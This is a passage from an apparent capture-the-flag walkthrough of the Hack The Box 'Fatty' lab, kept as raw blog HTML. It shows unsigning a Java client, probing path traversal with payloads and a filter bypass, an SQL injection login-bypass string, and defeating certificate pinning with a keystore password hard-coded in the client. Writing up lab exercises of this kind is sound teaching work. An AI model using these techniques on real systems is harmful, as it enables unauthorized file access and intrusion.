class=\"enlighter-text\">Sealed: <\/span><span class=\"enlighter-k9\">True<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Created-By: Apache Maven 3.3.<\/span><span class=\"enlighter-n1\">9<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Build-Jdk: 1.8.0_222<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Main-Class: htb.fatty.client.run.Starter<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Name: <\/span><span class=\"enlighter-e3\">META<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-e3\">INF<\/span><span class=\"enlighter-text\">\/maven\/org.slf4j\/slf4j-log4j12\/pom.properties<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-e3\">SHA<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-n1\">256<\/span><span class=\"enlighter-text\">-Digest: miPHJ+Y50c4aqIcmsko7Z\/hdj03XNhHx3C\/pZbEp4Cw=<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Name: org\/springframework\/jmx\/export\/metadata\/ManagedOperationParameter.class<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-e3\">SHA<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-n1\">256<\/span><span class=\"enlighter-text\">-Digest: h+JmFJqj0MnFbvd+LoFffOtcKcpbf\/FD9h2AMOntcgw=<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>We just delete all of these signatures and additionally remove the files<span>\u00a0<\/span><code>1.RSA<\/code><span>\u00a0<\/span>and<span>\u00a0<\/span><code>1.SF<\/code><span>\u00a0<\/span>from the<span>\u00a0<\/span><code>META-INF<\/code><span>\u00a0<\/span>folder.<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll enlighter-show-rawcode\">\n<div class=\"enlighter-raw\">pentester@kali:~\/unzipped$ cat META-INF\/MANIFEST.MF | head -n 8 | tee META-INF\/MANIFEST.MF Manifest-Version: 1.0 Archiver-Version: Plexus Archiver Built-By: root Sealed: True Created-By: Apache Maven 3.3.9 Build-Jdk: 1.8.0_222 Main-Class: htb.fatty.client.run.Starter pentester@kali:~\/unzipped$ rm META-INF\/1.RSA &amp;&amp; rm META-INF\/1.SF<\/div>\n<\/div>\n<p>When we now repack the unzipped contents to a<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file again, the resulting<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>is no longer signed and should start without any problems:<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/12.png\" title_text=\"12\" _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"]<\/p>\n<h3 id=\"exploring-the-client\">3.3 \u2013 Exploring the Client<\/h3>\n<p>Now that we have access to the client, we should take a look at its functionalities. The general structure of the client is quite easy. It opens a giant text box in the middle of the window and provides an<span>\u00a0<\/span><code>open<\/code><span>\u00a0<\/span>and<span>\u00a0<\/span><code>clear<\/code><span>\u00a0<\/span>button at the bottom. Clicking these buttons at the moment seems to be useless, since the<span>\u00a0<\/span><code>clear<\/code><span>\u00a0<\/span>button does nothing and the<span>\u00a0<\/span><code>open<\/code><span>\u00a0<\/span>button spawns an error message:<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/13.png\" title_text=\"13\" _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"]<\/p>\n<p>The main functionality of the client seems to be accessible by using the menu bar at the top. Each menu item does open a drop down, which contains certain functions exposed by the client. Unfortunately, it seems like some of the functions are not accessible for our current account, since they are disabled inside the graphical user interface of the client. Here is a list of functions that we can invoke:<\/p>\n<ul>\n<li>File\n<ul>\n<li>Exit<\/li>\n<\/ul>\n<\/li>\n<li>Profile\n<ul>\n<li>Whoami<\/li>\n<\/ul>\n<\/li>\n<li>ServerStatus<\/li>\n<li>FileBrowser\n<ul>\n<li>Configs<\/li>\n<li>Notes<\/li>\n<li>Mail<\/li>\n<\/ul>\n<\/li>\n<li>ConnectionTest\n<ul>\n<li>Ping<\/li>\n<\/ul>\n<\/li>\n<li>Help\n<ul>\n<li>Contact<\/li>\n<li>About<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>Let\u2019s start with the<span>\u00a0<\/span><code>whoami<\/code><span>\u00a0<\/span>function. This function simply prints some short information about our current user onto the text box. We can see that our username is<span>\u00a0<\/span><code>qtc<\/code><span>\u00a0<\/span>and our role is<span>\u00a0<\/span><code>user<\/code>. This explains why some of the client functionalities are not usable for us, as they are probably only accessible for users with a higher privileged role.<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/whoami.png\" title_text=\"whoami\" _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"]<\/p>\n<p><span>More interesting is the\u00a0<\/span><code>FileBrowser<\/code><span>\u00a0functionality. When selecting one of the drop down fields, we get a list of filenames that are probably stored on the remote server:<\/span><\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/14.png\" title_text=\"14\" _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"]<\/p>\n<p><span>Functions to list files on a remote server are often prone to\u00a0<\/span><em>path-traversal<\/em><span>\u00a0attacks. However, currently we are not able to control any folder names that are used for the listing and therefore unable to check for this kind vulnerability. But wait! Do you remember the error from the\u00a0<\/span><code>open<\/code><span>\u00a0button? It said that we need to list some folder first. Maybe we can now use the\u00a0<\/span><code>open<\/code><span>\u00a0button to open one of the listed files?<\/span><\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/15.png\" title_text=\"15\" _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"]<\/p>\n<p><span>Indeed! By entering one of the listed filenames inside the input field and hitting the\u00a0<\/span><code>open<\/code><span>\u00a0button, the contents of that file are displayed inside of the text box. Since we have now user controlled input that is used to open a file, we can try to exploit a<\/span><em><span>\u00a0<\/span>path-traversal vulnerability<\/em><span>.<\/span><\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/16.png\" title_text=\"16\" _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n<p>Well, not what we want but at least a partial success. The client filtered our input but does respond with an error message that contains an internal path on the server. First of all, this tells us that we are really fetching files from the file system of the remote server. Furthermore, we may be able to use the error message to determine which kind of filtering is applied. Maybe the filtering is done in a vulnerable way and we are still able to fetch arbitrary files?<\/p>\n<p>To determine the kind of filtering, two different queries are sufficient. First of all we try the following:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">Payload: ..<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Response: <\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> Failed to <\/span><span class=\"enlighter-k9\">open<\/span><span class=\"enlighter-text\"> file <\/span><span class=\"enlighter-s0\">'\/opt\/fatty\/files\/configs\/..'<\/span><span class=\"enlighter-text\">.<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>So the<span>\u00a0<\/span><code>..<\/code><span>\u00a0<\/span>does not cause any problems and the server does not reject it. Now we try the following payload:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">Payload: ..\/<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Response: <\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> Failed to <\/span><span class=\"enlighter-k9\">open<\/span><span class=\"enlighter-text\"> file <\/span><span class=\"enlighter-s0\">'\/opt\/fatty\/files\/configs'<\/span><span class=\"enlighter-text\">.<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>As you can see, the server has stripped our payload. It looks like the server is filtering the sequence<span>\u00a0<\/span><code>\/..\/<\/code><span>\u00a0<\/span>and by using some other payloads you can confirm this behavior. Such a filtering can sometimes be bypassed by using a payload like:<span>\u00a0<\/span><code>.\/.\/..\/.\/<\/code>, but in this case the filter seems to be applied recursively until all<span>\u00a0<\/span><code>\/..\/<\/code><span>\u00a0<\/span>sequences are removed.<\/p>\n<p>However, we can still hope to find something interesting inside the files that are listed by the<span>\u00a0<\/span><code>FileBrowser<\/code><span>\u00a0<\/span>and indeed there are a few files that contain interesting information:<\/p>\n<ul>\n<li>In multiple files major security issues inside the client\/server are mentioned. This tells us (spoiler alert) that there are some vulnerabilities present.<\/li>\n<li>Inside the file<span>\u00a0<\/span><code>dave.txt<\/code><span>\u00a0<\/span>from the<span>\u00a0<\/span><code>Mail<\/code><span>\u00a0<\/span>folder,<span>\u00a0<\/span><em>Dave<span>\u00a0<\/span><\/em>is telling us that our current user account is the only one that is left inside the database. Furthermore, he mentions that administrative user accounts seem to have access to exploitable functionalities. Finally he says something about preventing a<span>\u00a0<\/span><em>SQL injection<\/em><span>\u00a0<\/span>attack by using a large timeout inside the login procedure.<\/li>\n<\/ul>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">Hey<\/span><span class=\"enlighter-text\"> qtc, <\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">until the issues from the current pentest are fixed we have removed <\/span><span class=\"enlighter-k9\">all<\/span><span class=\"enlighter-text\"> administrative users from the database.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Your<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k9\">user<\/span><span class=\"enlighter-text\"> account is the only one that is left. Since you have only <\/span><span class=\"enlighter-k9\">user<\/span><span class=\"enlighter-text\"> permissions, this should prevent exploitation<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">of the other issues. Furthermore, we implemented a timeout <\/span><span class=\"enlighter-k9\">on<\/span><span class=\"enlighter-text\"> the login procedure. Time heavy <\/span><span class=\"enlighter-e3\">SQL<\/span><span class=\"enlighter-text\"> injection attacks are<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">therefore no longer possible.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Best<\/span><span class=\"enlighter-text\"> regards,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Dave<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>In our current position, the most relevant information is probably the<span>\u00a0<\/span><em>SQL<span>\u00a0<\/span><\/em>injection vulnerability inside the login procedure, but its quite unclear how to exploit it. Consider it is a kind of injection where a payload like<span>\u00a0<\/span><code>' or 1=1 --<\/code><span>\u00a0<\/span>lets you bypass the username and password field. Even in this case we would not benefit.<span>\u00a0<\/span><em>Dave<span>\u00a0<\/span><\/em>told us, that<span>\u00a0<\/span><em>qtc<span>\u00a0<\/span><\/em>is the only account which is left inside the database and therefore such an injection would only allow us to login as<span>\u00a0<\/span><em>qtc<\/em>. Extracting other information using the<span>\u00a0<\/span><em>SQLi<span>\u00a0<\/span><\/em>seems also not to be possible due to the timeout. During the first login you may have noticed a delay of about 5 seconds. Using some blind<span>\u00a0<\/span><em>SQLi<span>\u00a0<\/span><\/em>to exfiltrate information with a delay of 5 seconds seems not to be a good approach. So lets keep all this information and mind and look at the rest of the client.<\/p>\n<p>The rest of the accessible client functionality looks quite boring. The<span>\u00a0<\/span><code>Ping<\/code><span>\u00a0<\/span>function does only reply with a<span>\u00a0<\/span><em>Pong<\/em><span>\u00a0<\/span>message and the functions contained in the<span>\u00a0<\/span><code>Help<\/code><span>\u00a0<\/span>drop down do only print some information about the client. Hm\u2026 So what is the next step?<\/p>\n<h3 id=\"inspecting-network-traffic\">3.4 \u2013 Inspecting the Network Traffic<\/h3>\n<hr class=\"wp-block-separator\" \/>\n<p>Like mentioned in the<span>\u00a0<\/span><em>fat client<\/em><span>\u00a0<\/span>introduction, inspecting the network traffic is always worth a try. If we are lucky, we will find that communication is done using a known protocol like<span>\u00a0<\/span><em>HTTP<span>\u00a0<\/span><\/em>or<span>\u00a0<\/span><em>XML<span>\u00a0<\/span><\/em>and we can easily intercept and modify messages. So lets look at the wireshark dump of the login process:<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/wire-2.png\" title_text=\"wire-2\" _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n<p>As you can see, the network traffic is<span>\u00a0<\/span><em>TLS<span>\u00a0<\/span><\/em>encrypted and we can not view the plaintext data. Using the fact that<span>\u00a0<\/span><code>fatty-client.jar<\/code><span>\u00a0<\/span>is run by our own user and that we have root privileges on our machine, it is certainly possible to dump the required<span>\u00a0<\/span><em>TLS<span>\u00a0<\/span><\/em>keys in order to decrypt the traffic. However, there is one easier thing that we can try. We simply change the entry for<span>\u00a0<\/span><code>server.fatty.htb<\/code><span>\u00a0<\/span>in our<span>\u00a0<\/span><code>\/etc\/hosts<\/code><span>\u00a0<\/span>file and let it point to our own host. Then we open a<span>\u00a0<\/span><em>TLS<span>\u00a0<\/span><\/em>listener and check how the initial login message looks like. If we just open an<span>\u00a0<\/span><code>openssl s_server<\/code><span>\u00a0<\/span>with a self-signed certificate, we get the following error once the connection comes in:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">pentester@kali:~\/www$ openssl s_server -accept <\/span><span class=\"enlighter-n1\">1338<\/span><span class=\"enlighter-text\"> -key key.pem -cert cert.pem<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Using<\/span><span class=\"enlighter-text\"> default temp <\/span><span class=\"enlighter-e3\">DH<\/span><span class=\"enlighter-text\"> parameters<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">ACCEPT<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">ERROR<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">140675522520192<\/span><span class=\"enlighter-text\">:error:<\/span><span class=\"enlighter-n1\">14094416<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-e3\">SSL<\/span><span class=\"enlighter-text\"> routines:ssl3_read_bytes:sslv3 alert certificate unknown:..\/ssl\/record\/rec_layer_s3.c:<\/span><span class=\"enlighter-n1\">1536<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-e3\">SSL<\/span><span class=\"enlighter-text\"> alert number <\/span><span class=\"enlighter-n1\">46<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">shutting down <\/span><span class=\"enlighter-e3\">SSL<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>It seems that<span>\u00a0<\/span><code>fatty-client.jar<\/code><span>\u00a0<\/span>does not like our self-signed certificate. This is a common behavior of<span>\u00a0<\/span><em>fat clients<\/em><span>\u00a0<\/span>and they expect a certain server certificate from the remote server (<em>certificate pinning<\/em>). So what to do now? Among the different files that are present inside<span>\u00a0<\/span><em>fatty-client.jar<\/em>, you may noticed a file<span>\u00a0<\/span><code>fatty.p12<\/code>. This is a<em><span>\u00a0<\/span>key store file<\/em>, that is used to store certificates. These are probably used by the<span>\u00a0<\/span><em>fat client<\/em><span>\u00a0<\/span>as a client-side certificate. We can extract the corresponding certificate and key by using the following commands:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">pentester@kali:~\/www$ openssl pkcs12 -nodes -in fatty.p12 -out fatty.cert<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">pentester@kali:~\/www$ openssl pkcs12 -nocerts -in fatty.p12 -out fatty.key<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>The extraction will require a password, but this needs to be present inside the source code of<span>\u00a0<\/span><code>fatty-client.jar<\/code>, since the clients needs access to the key store. In the next section, where we decompile the client, you can verify that the password can be found inside of the class<span>\u00a0<\/span><code>htb.fatty.shared.connection.TrustedFatty<\/code><span>\u00a0<\/span>and has a value of<br \/><code>secureclarabibi123<\/code>. If you inspect the extracted certificate, you will notice that it is exactly the same that the server is using. Opening a<span>\u00a0<\/span><em>s_server<\/em><span>\u00a0<\/span>instance with the<span>\u00a0<\/span><code>fatty.cert<\/code><span>\u00a0<\/span>and<span>\u00a0<\/span><code>fatty.key<\/code><span>\u00a0<\/span>should therefore work fine:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">pentester@kali:~\/www$ openssl s_server -accept <\/span><span class=\"enlighter-n1\">1338<\/span><span class=\"enlighter-text\"> -key fatty.key -cert fatty.cert <\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">ACCEPT<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-----<\/span><span class=\"enlighter-e3\">BEGIN<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">SSL<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">SESSION<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">PARAMETERS<\/span><span class=\"enlighter-text\">-----<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">MHoCAQECAgMDBALAKAQgmEz\/z23g\/28vbRokQbJGSy\/cfmF9orUA8YqL05QMw70E<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">MGgqHQdtmXDSVp19dySbjvqvC0eUtFVWlVX64UiVm6ZJsHb6AI2ZQ0HYIw4EGY0D<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">96EGAgRdlX\/nogQCAhwgpAYEBAEAAACtAwIBAQ==<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-----<\/span><span class=\"enlighter-e3\">END<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">SSL<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">SESSION<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">PARAMETERS<\/span><span class=\"enlighter-text\">-----<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Shared<\/span><span class=\"enlighter-text\"> ciphers:<\/span><span class=\"enlighter-e3\">ECDHE<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-e3\">ECDSA<\/span><span class=\"enlighter-text\">-AES256-SHA384:<\/span><span class=\"enlighter-e3\">ECDHE<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-e3\">RSA<\/span><span class=\"enlighter-text\">-AES256-SHA384:AES256-SHA256:<\/span><span class=\"enlighter-e3\">DHE<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-e3\">RSA<\/span><span class=\"enlighter-text\">-AES256-SHA256:<\/span><span class=\"enlighter-e3\">ECDHE<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-e3\">ECDSA<\/span><span class=\"enlighter-text\">-AES256-<\/span><span class=\"enlighter-e3\">SHA<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-e3\">ECDHE<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-e3\">RSA<\/span><span class=\"enlighter-text\">-AES256-<\/span><span class=\"enlighter-e3\">SHA<\/span><span class=\"enlighter-text\">:AES256-<\/span><span class=\"enlighter-e3\">SHA<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-e3\">DHE<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-e3\">RSA<\/span><span class=\"enlighter-text\">-AES256-<\/span><span class=\"enlighter-e3\">SHA<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-e3\">ECDHE<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-e3\">ECDSA<\/span><span class=\"enlighter-text\">-AES128-SHA256:<\/span><span class=\"enlighter-e3\">ECDHE<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-e3\">RSA<\/span><span class=\"enlighter-text\">-AES128-SHA256:AES128-SHA256:<\/span><span class=\"enlighter-e3\">DHE<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-e3\">RSA<\/span><span class=\"enlighter-text\">-AES128-SHA256:<\/span><span class=\"enlighter-e3\">ECDHE<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-e3\">ECDSA<\/span><span class=\"enlighter-text\">-AES128-<\/span><span class=\"enlighter-e3\">SHA<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-e3\">ECDHE<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-e3\">RSA<\/span><span class=\"enlighter-text\">-AES128-<\/span><span class=\"enlighter-e3\">SHA<\/span><span class=\"enlighter-text\">:AES128-<\/span><span class=\"enlighter-e3\">SHA<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-e3\">DHE<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-e3\">RSA<\/span><span class=\"enlighter-text\">-AES128-<\/span><span class=\"enlighter-e3\">SHA<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-e3\">ECDHE<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-e3\">ECDSA<\/span><span class=\"enlighter-text\">-AES256-<\/span><span class=\"enlighter-e3\">GCM<\/span><span class=\"enlighter-text\">-SHA384:<\/span><span class=\"enlighter-e3\">ECDHE<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-e3\">ECDSA<\/span><span class=\"enlighter-text\">-AES128-<\/span><span class=\"enlighter-e3\">GCM<\/span><span class=\"enlighter-text\">-SHA256:<\/span><span class=\"enlighter-e3\">ECDHE<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-e3\">RSA<\/span><span class=\"enlighter-text\">-AES256-<\/span><span class=\"enlighter-e3\">GCM<\/span><span class=\"enlighter-text\">-SHA384:AES256-<\/span><span class=\"enlighter-e3\">GCM<\/span><span class=\"enlighter-text\">-SHA384:<\/span><span class=\"enlighter-e3\">DHE<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-e3\">RSA<\/span><span class=\"enlighter-text\">-AES256-<\/span><span class=\"enlighter-e3\">GCM<\/span><span class=\"enlighter-text\">-SHA384:<\/span><span class=\"enlighter-e3\">ECDHE<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-e3\">RSA<\/span><span class=\"enlighter-text\">-AES128-<\/span><span class=\"enlighter-e3\">GCM<\/span><span class=\"enlighter-text\">-SHA256:AES128-<\/span><span class=\"enlighter-e3\">GCM<\/span><span class=\"enlighter-text\">-SHA256:<\/span><span class=\"enlighter-e3\">DHE<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-e3\">RSA<\/span><span class=\"enlighter-text\">-AES128-<\/span><span class=\"enlighter-e3\">GCM<\/span><span class=\"enlighter-text\">-SHA256<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Signature<\/span><span class=\"enlighter-text\"> Algorithms: <\/span><span class=\"enlighter-e3\">ECDSA<\/span><span class=\"enlighter-text\">+SHA512:<\/span><span class=\"enlighter-e3\">RSA<\/span><span class=\"enlighter-text\">+SHA512:<\/span><span class=\"enlighter-e3\">ECDSA<\/span><span class=\"enlighter-text\">+SHA384:<\/span><span class=\"enlighter-e3\">RSA<\/span><span class=\"enlighter-text\">+SHA384:<\/span><span class=\"enlighter-e3\">ECDSA<\/span><span class=\"enlighter-text\">+SHA256:<\/span><span class=\"enlighter-e3\">RSA<\/span><span class=\"enlighter-text\">+SHA256:<\/span><span class=\"enlighter-e3\">DSA<\/span><span class=\"enlighter-text\">+SHA256:<\/span><span class=\"enlighter-e3\">ECDSA<\/span><span class=\"enlighter-text\">+SHA224:<\/span><span class=\"enlighter-e3\">RSA<\/span><span class=\"enlighter-text\">+SHA224:<\/span><span class=\"enlighter-e3\">DSA<\/span><span class=\"enlighter-text\">+SHA224:<\/span><span class=\"enlighter-e3\">ECDSA<\/span><span class=\"enlighter-text\">+SHA1:<\/span><span class=\"enlighter-e3\">RSA<\/span><span class=\"enlighter-text\">+SHA1:<\/span><span class=\"enlighter-e3\">DSA<\/span><span class=\"enlighter-text\">+SHA1<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Shared<\/span><span class=\"enlighter-text\"> Signature Algorithms: <\/span><span class=\"enlighter-e3\">ECDSA<\/span><span class=\"enlighter-text\">+SHA512:<\/span><span class=\"enlighter-e3\">RSA<\/span><span class=\"enlighter-text\">+SHA512:<\/span><span class=\"enlighter-e3\">ECDSA<\/span><span class=\"enlighter-text\">+SHA384:<\/span><span class=\"enlighter-e3\">RSA<\/span><span class=\"enlighter-text\">+SHA384:<\/span><span class=\"enlighter-e3\">ECDSA<\/span><span class=\"enlighter-text\">+SHA256:<\/span><span class=\"enlighter-e3\">RSA<\/span><span class=\"enlighter-text\">+SHA256:<\/span><span class=\"enlighter-e3\">DSA<\/span><span class=\"enlighter-text\">+SHA256:<\/span><span class=\"enlighter-e3\">ECDSA<\/span><span class=\"enlighter-text\">+SHA224:<\/span><span class=\"enlighter-e3\">RSA<\/span><span class=\"enlighter-text\">+SHA224:<\/span><span class=\"enlighter-e3\">DSA<\/span><span class=\"enlighter-text\">+SHA224<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Supported<\/span><span class=\"enlighter-text\"> Elliptic Curve Point Formats: uncompressed<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Supported<\/span><span class=\"enlighter-text\"> Elliptic Groups: P-<\/span><span class=\"enlighter-n1\">256<\/span><span 